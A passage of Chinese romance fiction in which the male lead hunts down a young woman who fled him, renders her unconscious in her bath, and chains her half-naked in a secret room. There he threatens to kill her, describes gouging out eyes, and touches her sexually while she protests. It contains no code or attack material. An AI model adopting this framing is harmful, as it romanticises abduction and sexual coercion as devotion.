舒氏抚摸她后背,温声哄她:“谁会让咱们阿锁去死?你父亲是忠义侯,姐姐在岭西做总兵,还有兄长是五军都督府的都督大人……”
“不,不!”
听到江曜的名字,姬时语吓得直发抖,她抓住舒氏的衣襟,便是摇头哭泣,“娘,我要离京,我要去岭西,你让我去岭西寻姐姐吧。”
“怎么突然又要去岭西了?”
舒氏疑窦,顿时猜到姬时语梦魇,怕是和江曜脱不开干系,便问:“是不是你和江曜,你们之间生何事了?”
姬时语脸色煞白煞白的,她说不出话,咬唇眼睫都在颤。
良久,她急切呜咽开口道:“娘,不说别的,我真的得走,求你了,你就依着我一回,好不好,好不好嘛?”
姬时语在舒氏怀里又哭又闹的,这仗势是待天明便要离城的意思。
舒氏被她哭得没办法,她不应,姬时语便大有一副要一直哭的作态。
不愿小女儿伤心难过,眼睛哭瞎红肿,舒氏只能应她。
因而,天将将亮,舒氏便让杨嬷嬷去韶华院陪姬时语收拾行囊,而她亲自走了一趟墨书院,求见忠义侯姬雄武。
姬雄武才归府不过两日,一听舒氏说姬时语要去岭西,当即拧眉。
“怎才回京就又要去岭西了?”
“还不是你的好徒弟惹了阿锁不高兴?”
舒氏猜到几分,她叹了口气,“许是云让同阿锁说了,我们不同意两人的婚事。”
姬雄武的眉头拧得死死的。
舒氏又道:“前两日,云让来求见于我,主动请愿,求我下嫁阿锁做他的妻子,但我没应他。”
姬雄武的脸黑沉沉的,“我同他说过话等同是放屁了!江曜这小子,一点不把我放在眼里的。”
“侯爷,你也莫怪两个孩子了。”
与姬雄武的冷硬不同,舒氏温温柔柔的,说起了往事。
那日江曜因曾宝仪之事来见姬时语,离府之前,他求见了舒氏一面。
并当面郑重地表态,恳请舒氏将姬时语下嫁与他。
然而舒氏轻轻笑着摇了摇头。
江曜不甘心的问寻缘由。
“云让,你是个好孩子,我唯独介怀的,便是楚王妃。”
舒氏还是道出了心里话,其实她情愿江曜娶小女儿,她作为亲娘,看得出来江曜眼中对姬时语的珍爱。
因此,舒氏便给了江曜一个机会。
“侯爷不应许,一来陛下烦扰两府交好誓必威吓皇室,你得想法子亲自说服陛下,二来,阿锁入门之前,需得摆平楚王妃的威胁。”
舒氏说道:“这便是我与侯爷为何,不同意你们二人的亲事。”
这两样都不易解决,舒氏记得那时江曜的脸色十足阴沉。
“侯爷。”
舒氏依靠了过来,她挽住姬雄武的手臂,柔声便道:“我猜阿锁和云让早就互生情意,我们已做了一回棒打鸳鸯的事,不如就随阿锁一次心愿吧,她心中定是难受极了。”
“嗯。”
姬雄武沉沉地应了。
而后,姬雄武便吩咐下去,命杨林领头,护送五小姐姬时语前往岭西。
上回岭西之路,杨林便是同行,而他又在岭西多年征战,早已对岭西熟悉的不行,有他在,姬雄武不会放心不下。
行程就此定下。
……
四月的天如此沉闷,昨夜还是乌云密布,今日的天只比昨夜还要黑沉。
活像是变脸的天公,下一刻便要下起雷雨似得。
此时江曜一袭官服,正跪在了乾清宫的门外。
他头顶乌纱帽已被摘下,轻搁于膝盖边,春雨突然而降,雾蒙蒙的雨水转瞬淋湿他的发和脸。
太监曹云立在殿门前,小心朝这位都督大人觑眼,不觉唏嘘一句。
江曜新上任不久便接连搞出大动静,手段实乃太过狠戾。
先是胡家犯下血案,江曜上呈天听,为民伸冤,捉拿兵部尚书胡老太爷与嫡长孙胡丰汕。
因胡老太爷位高权重,又得三皇子党力保,此案仍在僵持之中。
而后便是新任都察院右副都御史正,陈方全。
前两日这位陈大人才调度回京,便被江曜上书,检举陈大人玩弄孩童,嗜好养娈_童,残害数位孩童性命。
早在凉州之中,陈方全夫妻便仗着布粥慈善,以饵钩了许多可怜孩子被下毒手。
此事属实,江曜便立即奉命查抄陈家。
当然,陛下很是信赖这位新认的侄孙。
为朝廷铲除蛀虫恶牙,又甘心做着皇帝的走狗,是问哪个帝王能不喜爱呢?
只是这一回,江大人做的有些过了。
和刑部去往陈家捉拿陈方全夫妻二人时,江曜竟私自动酷刑,未定刑期便先要了陈家夫妻的性命。
此举定然招来帝王之怒。
虽忠义侯几番说辞为江曜开脱,但弘文帝难消气焰。
曹云又思忖着了,只是弘文帝确实实打实地看中江曜,即使江曜犯下如此大的过错,弘文帝也未革他的职。
而江曜如同弘文帝肚子里的蛔虫,杀完陈家夫妻之后,马不停蹄地便来乾清宫门前跪着请罪。
至今,已是跪了三个时辰。
曹云不得不感慨,雨稀稀疏疏落了下来,江大人的脸遍布雨水,可他仍是脊背笔直,跪在那地,一动不动。
寻思着时辰差不多了,曹云便推开乾清宫的门,抬脚恭敬地踏步进去。
弘文帝坐于龙椅之中,眉宇严肃,看不出
是喜还是怒。
他朝门外睨眼,问了江曜如何。
“人倒了没?”
曹云笑回:“陛下,江大人还直挺挺跪着呢。”
“哼!”
弘文帝气得摔下奏折,“看来跪的时辰还不够。”
曹云心知帝王怒气无处可发,想寻个台阶又不够给江大人下的。
他忙上去舔着脸道:“陛下,外头下起雨来了,再这么下去,江大人可真要病倒了。”
“病倒了才好,这小子成日活泼乱跳的,就会给朕寻畔滋事!”
弘文帝怒斥道:“让他病倒,回楚王府躺个一个月再下床,省得朕烦心的很。”
曹云已是了悟,“喳,陛下。”
这台阶嘛,不就是这么正正好寻来了?
春雨如同及时雨,曹云再度出乾清宫时,雨势已渐小。
毛毛雨蒙在江曜面上,为他清冷阴沉的脸,打上了朦胧之色。
曹云开口,“江大人,你既已是病中,陛下体恤你,命你回府歇一个月吧。”
“臣多谢陛下圣恩。”
江曜应话站起身,他颀长的身子如青松坚韧,哪里有半分病倒了的样子。
但弘文帝金口玉言,他说了江曜病倒,那他就必须病倒。
一个月罢了。
江曜抚平官袍,动身离宫回府。
甫一踏出宫门,林一便牵着马走过来,轻声和江曜说道:“公子,王妃有动静了,她去安国公府求见了安国公夫人。”
“她还不长记性?”
江曜眉眼阴冷,狐狸眼闪动着冷光,“有些事,我还没和来得及和安国公府算账呢,那便一起吧。”
林一问:“公子?”
“白氏最在乎的不过是女儿,择日抓了柳眉,逼白氏就范。”
江曜已是冷声下令。
林一应了。
可还没等江曜翻身上马,暗卫首领楚明便踏过雨水点点,快步来在江曜跟前单膝跪地。
江曜睨眼。
“何事?”
这只暗卫乃是楚王亲自交到他手上的,江曜曾命楚明几人在韶华院外盯梢,时刻监视五小姐姬时语的行踪。
后姬时语执意反抗,江曜便尽数撤回,只留了林二。
楚明递来一张纸,“公子,是林二的密报。”
江曜接过来一看,双目霎时血红,目眦欲裂。
林二歪歪扭扭地写着。
“五小姐逃了。”
“哈。”
阴雨绵绵,细雨沾湿了江曜如剑锋利的眉宇,他的嗓音溢出了一道大笑,握着信纸的掌心在颤抖。
这几日,江曜不是没有想过去寻姬时语。
那日他满手是血,是他吓坏了他的阿锁。
因而,见她之前,江曜沐浴了好几回,又用荑子清洗,便是想要全身干干净净,确信再无血腥之气之后,他才敢去见姬时语。
但姬时语始终拒而不见他,但凡他寻来,姬时语便会躲避。
江曜想着她还未缓过来,那他便给她些时日,待她缓和冷静之后,他再去哄哄他的小姑娘。
谁成想,他等来的却是。
姬时语跑了?
她真的狠心撇下自己,抛弃他离开京城了?
脑中诸多画面浮起,江曜忆起自己求见舒氏的时候。
舒氏温柔的嗓音说出了多残忍的话。
“对不住了云让,我知你是极好的孩子,只是你和阿锁这婚事,我和侯爷已是决意,是不会应许你们二人成亲的。阿锁纯真,她不该嫁入皇室。”
侯爷也说过:“江曜,你得死了迎娶阿锁的心。”
现如今,阿锁逃了。
很快,楚明又递上一沓信纸,他道:“公子,这些是在五小姐书房暗格之中翻找出来的。”
江曜飞快过目。
只是一眼,信纸里面的内容竟令他这六年全部堆积而起,如群山般的感情,崩塌、破碎。
姬时语书写下的,是她上辈子的过往,她写到自己在忠义侯府活到了十六岁。
死前她曾犯下过一桩罪孽。
那就是她以他江曜之名,杜撰了他不切实际的话本,闹得满城风雨。
以至于后来楚王府与三皇子党彻底交恶,江曜暴虐三皇子妃柳眉,被大怒的三皇子在大雪之中一箭穿心。
而她姬时语在回心阁,见到江曜最后一眼,竟因为太过害怕,没能救他一命。
姬时语写道:“上辈子我对不住的人便是江曜,这一世我见他的第一眼,我就知道我要捡他回来。我得把他养在身边,对他好,以偿还上辈子我欠的债。”
“江曜,我的哥哥,这些都是我欠你的,不论如何,我都得对你好。”
江曜头晕目眩,仿若雷击。
所以自始至终,这些年姬时语对他百般的好,顺从他亲吻搂抱,都是因为打心底的愧疚,她愧对自己,良心不安,才会如此?
“哈?为了上辈子的债,这辈子才一直对我好?”
江曜的狐狸眼一片血红,他手心颤栗,握着那张薄薄的纸,仿若下一刻便要捏成了碎片。
所有人都在逼他,连阿锁也是。
为何就不愿意多看他一眼呢?
为何就不愿听得他有多少苦衷呢?
江曜手背青筋暴起,腕骨剧烈颤动着。
阿锁,你不喜欢我,只是怜悯同情我是个可怜虫吗?
才会在见到我杀了陈家夫妻之后,不顾一切的逃离了?
她害怕他,怕他太残忍,决意要舍了他,从此再也不要他了。
可是,晚了!
她还想逃去哪里?
从这辈子招惹他的那一刻起。
不喜欢又如何,他江曜想要之物,就算拼死也要抓在手心。
阿锁,这是你逼我的。
“召集全部人马,配合林二行动,出城!”
雨下的烈了,转瞬间大雨渲漫倾注,雨水模糊了江曜阴冷的狐狸眼,他翻身上马,居高临下地吩咐下去。
布下天罗地网,只为了——
江曜冷笑:“抓她回来。”
第112章
春雨朦朦,沾衣欲湿。
姬时语此行西行一路往岭西而去。
途中她故意避开了清水镇那条原路,为的便是怕江曜带人找来。
她有意择了另一条路走。
路上雨水便时停时下,马车走的尤其艰难,一日之中仅能有半数的路程。
为赶路程,姬时语不敢耽搁,她是一整日窝在车中未下过车,途中也仅是草草吃了几口烧饼填饥。
夜深之时,杨林沉脸止住马车前行,和姬时语禀报。
“小姐,得寻个地儿歇息了,马匹走了一整日太过疲惫劳累,需得休整。”
“好,入城吧。”
姬时语应了。
一行人便就近入了一座小镇,寻了主城最大的客栈入宿。
杨林领车队喂马卸货,而萍亭和萍柳则伺候姬时语歇下。
一日的奔波,加之这几日接连没能睡一个好觉,此刻姬时语是全身酸痛、精疲力竭。
她的四肢无一处不在麻木的疼,双腿立在地上走几步路亦是泛着酸意。
“好累啊……”
姬时语半倒在萍柳身上。
萍柳轻声哄道:“小姐,待萍亭取了热水来,您沐浴过后便好生睡一觉,明日我们再赶路。”
“嗯。”
姬时语轻轻应。
萍亭去向店家要水,不一会儿热水便被抬入了浴房,她见水温尚可,便让萍柳搀扶着姬时语进来。
两个丫鬟便伺候着姬时语褪去衣衫与鞋袜,坐入浴桶。
温水浸没过身,是连一日的疲劳终得了舒缓。
姬时语舒服的喟叹,闭起一双水眸,她那只雪白的皓腕微微抬了起来。
“出去吧。”
姬时语轻声说:“你们去门外候着,我自己能洗。”
“是。”
两个丫鬟退下了。
姬时语将整个人没入了水中,客栈无她常用的玉兰香露,她便挽起乌发,打算待到岭西再清洗头发。
水里映出她晃动的娇颜,姬时语还未从被江曜吓唬的那股劲儿缓过来,脸色微微泛着苍白。
一双猫瞳水灵灵的潋滟,在水中不住的飘荡。
姬时语想起了三姐、四姐出嫁之前的话。
“五妹应很早便心悦江大人了吧?”
姬如萍笑着揽住了她,“你自个儿许是瞧不见,你看他时的眼睛,便是温柔似水的甜蜜。”
“是和江大人瞧着你时一模一样。”
姬如蕊接了话,笑说:“你们二人才让人纳闷,像两情相悦之人,偏在外又说不是,连个亲事也没定下呢。”
怎么会呢?
姬时语不愿再去回想姬如萍和姬如蕊姐妹说的话,什么劳什子江曜满心记挂她,眼里温柔缱绻。
那一日亲眼所见陈夫人被杀,死相极惨,便是出自江曜之手。
沈南怀与曾宝仪亦是几度差点被江曜杀死。
他们说的不错,江曜根本就是个疯子。
被一个疯子喜欢上,而她又早早的喜欢上了一个
疯子。
她能如何呢?
她真的能有法子扼制江曜的杀念吗?
姬时语不觉得。
江曜并不听从她的话,甚至他也说过,即使那一日她在陈家,守在陈大人夫妻身前,这两人江曜也杀定了。
姬时语不以为自己有这个能耐。
她更怕江曜哪日不再喜欢她了,真的会对她下手。
除了早些逃离,她想不出更好的路。
“希望哥哥不要来……”
手臂恍恍惚惚的酸痛,姬时语抬起胳膊,伸手为自己揉捏几下,而后她便搭在木桶沿之上,脑袋靠了过去。
枕着手臂,姬时语感到了全身心的劳累,就在这一刻,她很想睡过去。
好像所有的烦心之事,只要她睡着了,便都会过去。
姬时语阖起了眼。
……
萍亭与萍柳候在浴房屏门之外,两人心中惴惴不安。
虽不知小姐身上出了何事,但两个丫鬟自小伺候在姬时语身边,早便察觉了小姐心事重重。
萍柳哼道:“萍亭,你说是不是又与江大人有关?”
萍亭心细的多,她道:“萍柳,慎言。”
“也只有江大人会徒惹小姐烦心。”
这会儿离了京城,又在别处地界,江曜人不在,萍柳还想再斥他两句。
谁知话还没张口,屋门之外,客栈的二楼走廊霎时响起大片凌乱的脚步声。
萍柳不安之意更甚,“夜深人静的,外头出事了?”
萍亭未语,她盯着闭起的屋房门,提声朝屏风之中的姬时语喊了话。
“小姐,可是洗好了?”
里头静悄悄的。
萍亭便要进去,“小姐,那奴婢进来的。”
可就在这时,姬时语所住的屋房门却被人自外推开了。
风声灌入,沉重的开门声引得两个丫鬟回望过去。
窗外的雨轰轰烈烈,下的更大了。
滂沱的雨水打在客栈二楼的窗棂之上,劈里啪啦的,仿若下一刻便会敲开本就不多严实的窗子。
屋房门外,突现一个人影。
江曜冷脸立在那儿,如鬼魅显形。
一道惊雷落下,照亮他眼底的阴郁。
看清楚来人,萍亭惊恐大步后退,她的头撞上了屏风。
萍柳的脸登时吓了个惨白,直喊:“江、江、江大人!”
在江曜身后,跟随着林一楚明等一干人,共十余位黑袍暗卫。
杀气与寒气,一刹那,灌入了整个逼仄的屋中。
江曜身上朱红官服未褪,衣衫褶皱不平,全身早已湿透,润成暗红。
无尽的雨水沿着他的衣袍,滴滴答答落在了本干净的厢房地面。
瞬间积下了一滩水渍。
江曜的一双狐狸眼环顾轻睨,他没能在屋中见到姬时语,眼中情绪霎时黑沉阴暗。
扫向萍亭萍柳两个丫鬟时,是冰冷又刺骨的无情。
他问:“阿锁呢?”
萍亭和萍柳已受不住威压,跪倒了在地。
两人瑟瑟发抖,打着哆嗦,听见江曜冷漠的问话,萍亭只感觉大难临头。
小姐还没到岭西寻得大小姐,便被江大人在半路拦截,此番怕是。
要完了。
“你们是阿锁的丫鬟,我不想杀你们,但你们若是执意要阻碍我见阿锁……”
两个丫鬟一声不吭,江曜没了耐心,直接拔了长刀出鞘。
江曜直言:“不要逼我。”
萍亭闭了闭眼,她坠下了身子,瘫软着回道:“江大人,小姐在浴房沐浴。这六年,小姐一心只系于你身,请大人不要伤害小姐,奴婢等求你了。”
说罢,萍亭与萍柳两人齐齐给江曜磕了头。
江曜几乎是挂起了讥嘲。
他不清楚姬时语究竟给两个丫鬟说了何话,竟能让两个丫鬟这般的恳求他,即便到了这个时候,还要拿旧情来说事。
阿锁啊阿锁。
你是拿刀捅我的心啊。
江曜收起刀,他没再看两个丫鬟一眼,而是转头迈着步子径直去往浴房。
“大人!”
萍亭突而抬头又喊住江曜,“还请您……多怜惜点小姐,她还是未嫁之身。”
江曜的手一顿,回过头,他望向了林一,吩咐道:“带她们下去。”
林一领命,与楚明一同把萍亭萍柳带离出屋。
江曜独自跨入了浴房。
房中水汽还留着温热,雾气已散去大半,一方浴桶摆在中央。
江曜的眸子朝下一瞥,雪白的玉颈便映入他的眼帘。
姬时语的身子浸泡在水中,她是熟睡了过去,正枕着手臂浅浅的呼吸。
一起一伏时,连带洁白的后背隐约从水里浮现。
只是见到她娇俏的容颜,江曜那颗本死了的心,再度剧烈的跳动起来。
“嗯……”
水里传出小姑娘一声哼声叮咛,江曜怕姬时语醒来,上前便点了她的睡穴。
这回姬时语是真的软软地趴入温热的水里。
江曜站在她上方,水好似被子盖住了她全身,可雪白的肩头隐隐浮出水面,和那只他吻过几回的脖颈,勾得他一双眼怎么也挪不开。
他多想她啊,想得心发了颤,可她呢?
就这么想逃离他吗?
江曜探出手,抚在了姬时语的耳后,指腹因几滴水阻挡,他便先抹去了水,冰凉的手指再顺着抚摸她微热的柔肌。
他的掌心触及她的脖子,抬手便用大掌包住了,细细的,温柔的,抚_摸了好几道。
感受到手心之中的心跳声,江曜轻轻笑起来,十足愉悦。
“阿锁,抓到你了。”
她还是他的。
不管去哪里。
天涯海角,他都会找到她的,想逃?
他怎么会容许呢?
阿锁,你不乖啊,不乖的话,他就会惩罚她的。
不喜欢被锁起来吗?
不喜欢也没办法呢,谁让她如此的不听话。
他最不能接受的便是被抛弃,偏偏她就一心想舍弃他呢。
“不可以啊,阿锁。”
“所以,陪着我吧,一辈子都陪着我啊,我们走去哪,都得在一起。”
江曜的手往下滑,他的衣袖没入了水中。
不多时,他揽住姬时语的后背,哗啦一道水声,他将人一把从水里捞了起来。
未着片缕,姬时语坦诚以待,一身娇躯露在了江曜的面前。
江曜的呼吸一窒,而后整个呼吸都错乱了。
两人相处六年以来,江曜从未窥视过姬时语的身体。
今日坦诚的初见她,浑身血液如倒灌似的,沸腾着、翻涌着。
姬时语不是瘦弱的身材,反之,该有的她很圆润,她的一对玉/桃儿将腰肢衬得很细,亦有这个缘故。
他满心贪婪地注视着她雪白粉嫩的酮体,从头到脚,又拨弄抽掉了她的簪子,一袭青丝瞬间披洒下来。
江曜只觉得连姬时语的头发丝都合他的心意。
她太美了,令江曜情难自控。
揽住小姑娘的腰,江曜将她托起来,垂头狠狠亲咬住了她香甜的嘴唇。
再多躁动、烦乱的心,也在这个吻里平复。
江曜亲了一会儿,便啄了啄放开了她。
姬时语被点以睡穴,不能回应他的热烈,江曜觉着不是很满足。
他还有的是机会,能与姬时语重温感情。
眼下,是时候回他们的家了。
江曜抱起姬时语,取下浴桶旁的巾帕,小心翼翼为姬时语擦拭身上的水滴。
擦着擦着,他的呼吸逐渐急促起来,巾帕每拂动过一处,他体内的热气便上涌一分。
几番之后还是强压了下去,将她擦得干干净净。
而后,江曜褪下自己的外衫,裹着系在了姬时语身上,他托抱起她的腰背,大步走出了门外。
客栈二楼的走廊,林一与萍亭萍柳齐候着。
屋门一开,江曜抱着姬时语而出。
萍亭飞快一瞧,江曜怀里的姬时语仍在熟睡,小脸莹白,不似受了伤害,她顿时大松口气。
江曜抬眼,周身的寒气稍稍褪去,他的音色比来时平稳了许多。
“回京。”
江曜道。
第113章
姬时语苏醒时,周遭是无边的黑暗。
这是哪里?
不是客栈!
入目空无一物,静得姬时语心中发慌,她下意识动弹了两下身子。
咔哒,咔哒。
是铁链撞击地面的声响,打在姬时语心头,沉得她心跳飞快。
她突而直感四肢与身躯像被紧紧缠绕着,她正以一种极为别扭的姿势被吊着,俯趴于半空。
不等姬时语冷静思索,她的目光轻眨,下一刻,四面八方的油灯竟是在这时被点亮了起来。
一有了光,视野便清晰明朗。
随着啪嗒地铁链捶地声,身前那人的容貌落入姬时语的眼,她全身寒毛的四起,瞬间止不住地发了颤。
昏暗逼仄的暗室之中,姬时语面前摆放着一只红木方椅,而江曜此时正一动不动坐于椅中。
“你终于醒了啊,让我好等呢。”
江曜注视于她,不知看了多久,他凉薄的唇透出若有若无的笑,昏黄的灯打在他清冷的脸上,仿若不那么骇人。
“你……你是如何找到我的?”姬时语不死心,追问道。
“呵。”
江曜想起姬时语不吃不喝也要逃离他的身边,怒气再度被点燃。
他掀开阴寒的眼,问了她:“阿锁啊,你逃得走吗?”
“你。”
“我说过了,你得陪在我身边,不若的话,我会很不悦呢。我不悦了,便会想惩罚你的,你为何不乖呢?”
“江曜!”
姬时语亦是恼怒不已,她瞪着一双水眸,想扑过来,奈何一动身子,耳边又是不断的铁链捶地声,当即便垂下头颅。
这一看,姬时语是彻底呆楞住了。
她的手腕与脚腕皆被扣住了镣铐,那头系着粗长的铁链,她试图晃动手腕,奈何铁链钳得很紧,挣脱不了。
雪白的肌肤裸露在外,还有数条赤红的红绸裹缠在手臂之上,朝上方吊着。
白玉肌肤之上的黑色与红色,是那么的碍眼。
她的衣裳呢?
姬时语惊恐瞪眼。
她的衣裳早已被褪下,全身上下只留有一只粉锻的小衣单薄地挂在胸前。
那只鸳鸯绣花映在她眼里,刺疼了她的双眼。
姬时语的腿和脚被吓得发软,便再无力气支撑,要往下倒去,可后腰好似也被禁锢住,竟是吊住她没让她栽倒。
再往下垂眼,姬时语只差叫出了声。
她的膝盖将将捶地,但身下却铺了柔软的垫子,膝面擦过绸缎,不会生疼。
而禁锢她手脚的镣铐也被包裹住棉絮,不论姬时语如何挣扎,都不会感到疼痛。
只是被这么全身捆_绑无处可逃之下,姬时语的眸子被气得发了红。
“江曜,你竟然……你竟然绑了我!”
“是啊,这是我精心准备的,阿锁可还满意?”
江曜起了身,墨沉阴暗的狐狸眼顷刻锁住了姬时语,他舍不得挪眼,也不愿挪开错过这美妙的一幕。
姬时语微动身子,她雪白的娇躯晃动着,身上的红绸裹住了她,那么白,又那么红。
太美了。
江曜觉着自己的呼吸都在加重。
他还有些后悔,为何没早点将阿锁弄进这间暗室,早些让她以这么美的模样,勾得他再动_情一些。
那样的话,他就会给她更好、更美的东西。
今日的江曜高发玉冠,一袭墨色锦衣。
一根玉带勾勒出他劲瘦的腰身,腰带之上朱红的宝石明亮,多了一抹红衬得江曜不那么沉闷,反倒是清贵无匹。
只是姬时语早便清楚了,这身看似翩翩清世佳公子的皮囊之下,是怎样凶残狠辣的心。
她可是亲眼看见江曜杀了陈家夫妻啊!
陈夫人连眼珠子都被他刨出来的,碎掉了的,就落在她脚边。
“阿锁啊。”
江曜朝着姬时语走近,姬时语盯着他,四肢动不了,可肩膀还是抑制不住地颤抖。
他每走近一寸,姬时语的脸蛋便白一刹。
江曜是穿戴整齐,与只着了一只小衣的姬时语全然不同。
“江曜,你要对我做什么?”
姬时语又气又怕,眼看江曜已来到了身前,她被吓得说话也不利索了,“你杀了陈氏夫妻还不够,如今你,你要杀了我吗?”
“阿锁,你好像很害怕我啊。”
江曜狐狸眼挑着,他轻笑了一声,意味不明,他朝着姬时语探出手来。
“啊……”
姬时语羞愤地喊叫出了声。
亲眼见江曜那只大手将鸳鸯揉碎了,姬时语竟不得反抗、阻挠,她想要摆脱,抗拒江曜继续触碰自己。
铁链与红绸彻底绝了她的动作。
只能眼睁睁看着江曜为所欲为,姬时语一张粉白的脸羞得能滴血,她愤愤咬牙,怒视江曜:“你怎么能……怎么能这样对我……”
“我在惩罚你啊。”
江曜似笑非笑,“逃离我之前,你便该知道了,被我捉住的话,我不会那么轻易放过你呢。”
“江曜,你,我为何不能逃?你都要杀了我啊。”
江曜还未停手,他只是几下动作,姬时语水眸便泛起了水光,连尾音也变了调,宛如在娇嗔。
又羞又恼的情绪充斥了姬时语的满心腔,她哭了出声:“江曜,呜呜,别让我恨你!”
“恨我?”
果不其然,这话令江曜止了手。
那双黑漆漆的狐狸眼笼罩起一层如死寂的深色,姬时语被他盯着,连脖子也僵住了。
她想朝后退,可她正被江曜握在手里。
江曜掐住姬时语的腰肢,只是轻轻一拽,未能着地的姬时语便落入了他的怀中。
他摁着姬时语的眼角,逼迫她抬眼,眼里只能有他。
“看见你害怕,我真想挖了你的眼睛。只要你这双畏惧我的眼被挖了,再换上另一双眼,从此看着我时,便再不会有害怕的感情。”
江曜说的好轻松,可听在姬时语耳中,无异于一张催命符。
恍惚间,姬时语又想起了眼窝空洞的陈夫人,血淋淋的看着她,说她便是下一个自己。
“不,不要!”
姬时语脸白了,她那双猫瞳禁不住泛起了泪花,“江曜,你敢挖了我的眼睛,我这辈子做鬼也不会放过你的……”
她性子倔,即使被江曜逼迫之下,也说不出示弱的话。
“是吗?那阿锁做鬼也要缠着我了?”
江曜竟然笑了,“我真想见识呐。”
他全然不会讨厌,反而还很欢喜。
若能被姬时语一辈子,不,生生世世缠着,即使是死,那又有何妨?
“来啊,阿锁,缠着我吧,永远不要放过我。”
“你这个疯子!”
姬时语叫骂大吼:“你敢动我,忠义侯府也不会放过你,江曜,你真要和我鱼死网破?”
江曜的脸一瞬间乌云密布,阴沉下来。
也不知是被姬时语的哪句话刺激到,他垂眸,漆黑的眼瞳缓慢转动,他盯上了姬时语雪白的肩胛骨。
手指半曲蜷起,便用骨节卡住了她的肩胛。
江曜的手指很冰凉,触碰到姬时语如凝脂般的肌肤时,两人的呼吸都变得重了几分。
“你,你到底要将我怎样?”
姬时语很害怕,不住瑟缩晃动肩头。
江曜默不吭声的样子,比他陷入癫狂,还要来的如同狂风骤雨。
然而江曜轻轻摩挲她的肩胛,一动不动,姬时语的心好似被沉重的吊索提起。
但就在这时,他的手朝后一顺,勾住了她那只小衣的系带,再一拨弄。
她的小衣落了地。
“啊!”
姬时语叫了出声。
小姑娘的皓腕似凝了霜雪,洁白无瑕,偏全身肌肤嫣然红艳艳,那头乌黑的长发垂于肩,丰艳无比。
他穿戴完整,她未着片缕。
江曜盯着她,胸膛起伏的厉害,气息开始乱了。
“江曜,我的衣裳,你给我!你太过分了,就只会欺负我……”
姬时语羞愤地再忍不住落了泪,若她双手能得了空,定要捶打在江曜身上,以宣泄她的恼怒。
“阿锁长得真好看呢,我很喜欢。”
“我不要,你放过我,我……不要这样。”
姬时语的身段不是干
瘪瘦弱,她不大不小,玉/桃是同江曜的手掌一般,以他的手,刚刚好能握住她。
是见过一回她多美,可再见一回。
江曜还是把持不住。
姬时语还在羞恼地掉眼泪,嘴里胡乱吐着讨厌他的话,江曜却已上了手。
“我好讨厌你,我恨你,啊!”
登时,姬时语的话音又变了调。
迷乱又爱娇。
江曜的眼底升起一股浓厚的痴迷,他不厌其烦地放跑她、再抓她回来。
好似这场你追我逃的戏码,只有两人皆在醒时,才最有意思。
“你当真不要吗?阿锁,可我觉着你这副模样全然不似不要啊,我很喜欢,你也会喜欢呢。”
“不要,我不要……”
江曜说着低沉缭绕的话,姬时语连眼皮子也不愿睁开,她想要逃避这一切,不愿去想身前的江曜和此时的境地。
姬时语满脸飞红,耳朵颤抖着,眼睫亦在打颤,偏咬唇还在倔,“你快放开我,我要回侯府。”
“你还想逃离我?”
江曜周身冷了下来,他的手心握上了姬时语的腰,再缓慢往上爬。
微凉的手掌贴着她,好似一条蛇在缠绕、游走。
姬时语闭着眼,心生的触感反而更为强烈,刺激得她耐不住喘息了几声。
未经历过这档子事的小姑娘,哪里架得住江曜这般的招惹。
“阿锁,我说过,你敢逃离我一回,我便抓你一回,直到你歇了这个心思。”
江曜不似在威胁,而是说着真心话,“亦或者,我们干脆便留在这间暗室吧,只有你我,可好?”
“不,不,我不要……我不要……”
“啊,你不要留在这里啊,你不喜欢吗?”
“不喜欢,我不喜欢!江曜,不要这样,我不要……”
“那好吧,那,阿锁不喜欢的话,只能这样了。”
江曜发出遗憾的叹息之声,他那双狐狸眼凑近了过来,冰凉的气息打上她的脸。
姬时语全身的寒毛都竖起来了,摆头不愿让他靠近。
然而,江曜固执地贴上了她柔软白腻的脸蛋,甚至还径直从嘴里溢出了喟叹。
“阿锁,那让我杀了你,好不好?”
江曜的话语如此温柔,贴在她耳廓之上,舌尖划过她耳垂时,他说出了这么凶残的话。
姬时语吓傻了,眼中满是恐惧,她拢着水光摇头,“不要,我不想死……”
“可是我杀了你,再同你一起殉情,这样一来,此生,这辈子我们便能永远的在一起啊。不会再有人将你我分离,不管是侯府,还是这天下,我们都将彻底属于彼此,完完全全的属于彼此。”
江曜侧头,他的呼吸又快了几分,姬时语被他带得亦是摇摆了。
她吐息渐快,眸子微迷茫,竟一时之间没立即说出抗拒的话。
只是江曜想亲她,还是被她摆头躲开这个动作。
终于眼角的泪水再也禁不住的落下,姬时语呜咽着秉持内心的恳切:“不要,我不要去死,我要活着。”
“阿锁不想死啊,是太怕疼了吗?”
江曜吻去了她眼角的泪,冰凉的吻便顺着她的脸缓慢往下落。
这一回,姬时语没再拒绝他的亲密。
他吻的认真,也带了很重的宠溺。
竟在最后,姬时语的话还是成了撒娇似的娇嗔,“哥哥,我想和你一起活着,和你一起……”
小姑娘将脑袋乖顺地贴了过来,江曜便捧起她的脸,含住了她娇嫩的红唇。
细细密密的吻,糅杂了许多柔情。
“很想将阿锁的全身都亲一遍啊,嗯,我就这么做吧?毕竟,你现在也已在我手中了呢,我做什么都好不是吗?”
江曜不再说些吓唬姬时语的话。
欺负她一时,心中的恶劣已得到了满足,便不想真将他的阿锁吓坏了。
他将她带来这间暗室,是想多疼爱她的。
于是,江曜一动,情潮翻涌而上,姬时语又忍不住叮咛,断断续续的话音吐露。
唇齿间还有他的吻,与加深了的喘气。
“你……不……你要对我,做什么?”
“我相信阿锁会喜欢的。”
第114章
“你真的要杀了我吗?”
姬时语从江曜的肩窝抬起头,她眼尾隐隐的红,口中溢出轻微的喘息声。
方才她被江曜缠绵吻了许久,唇肉红的娇艳。
江曜抚着她,手并未从她身上挪开。
即使和江曜唇齿交缠,得了一个长长的亲吻,可姬时语心底的胆怯仍未全然消去。
她恍惚间忆起惨死的陈氏夫妻,陈夫人那掉落在地上的破碎的眼珠子。
姬时语的身子不自觉的颤抖。
手中紧握的娇躯战栗着,几乎是同一时便令江曜察觉。
江曜不紧不慢地揉着她,像在安抚,又像在盘算该从哪里享用她。
“怕了吗?”
本安息的恶劣心思,就这么在姬时语红通通、浸了水光的猫瞳注视刺激之下,再度汹涌泛滥。
江曜好喜欢被她这样看着,明知道两人之间不会升起任何企图伤害彼此的念头。
可他偏爱死了她心有恐慌,但身体情不自禁向他这个恶劣之人靠近的模样。
那种感觉就像是,即便姬时语害怕他,却仍旧对他有一丝的留念。
她舍不得他。
她抗拒本能的还喜欢着他。
江曜很亢奋,他玩_弄着怀中的娇躯,看姬时语不住努力抬头,喘气渐促,目光涟涟。
姬时语的呜咽溢出了唇间,“哥哥,不是说好了,一起活下去吗?你不要欺负我了……”
